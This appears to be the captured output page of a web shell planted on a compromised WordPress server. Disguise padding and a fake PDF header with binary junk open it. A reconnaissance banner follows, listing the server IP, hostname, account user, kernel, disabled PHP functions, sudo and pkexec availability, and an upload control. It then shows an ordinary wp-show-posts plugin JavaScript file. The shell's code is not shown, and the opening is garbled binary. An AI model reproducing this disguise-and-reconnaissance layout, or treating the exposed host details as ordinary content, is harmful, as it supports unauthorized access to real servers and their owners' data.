...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/public_html/wp-content/plugins/wp-show-posts/admin/js/ |
Upload File : |
function wpsp_get_post_lists() {
var response = jQuery.getJSON({
type: 'POST',
url: ajaxurl,
data: {
action: 'wpsp_get_post_lists',
wpsp_nonce: wpsp_nonce
},
async: false,
dataType: 'json'
});
return response.responseJSON;
}
console.log(wpsp_get_post_lists());
(function() {
tinymce.PluginManager.add('wpsp_shortcode_button', function( editor, url ) {
editor.addButton( 'wpsp_shortcode_button', {
title: wpsp_add_posts,
icon: 'wpsp-add-icon',
onclick: function() {
editor.windowManager.open( {
width: 300,
height: 75,
title: wpsp_add_posts,
body: [
{
type: 'listbox',
name: 'wpsp_add_posts',
label: false,
'values': wpsp_get_post_lists(),
}],
onsubmit: function( e ) {
editor.insertContent( '[wp_show_posts id="' + e.data.wpsp_add_posts + '"]');
}
});
}
});
});
})();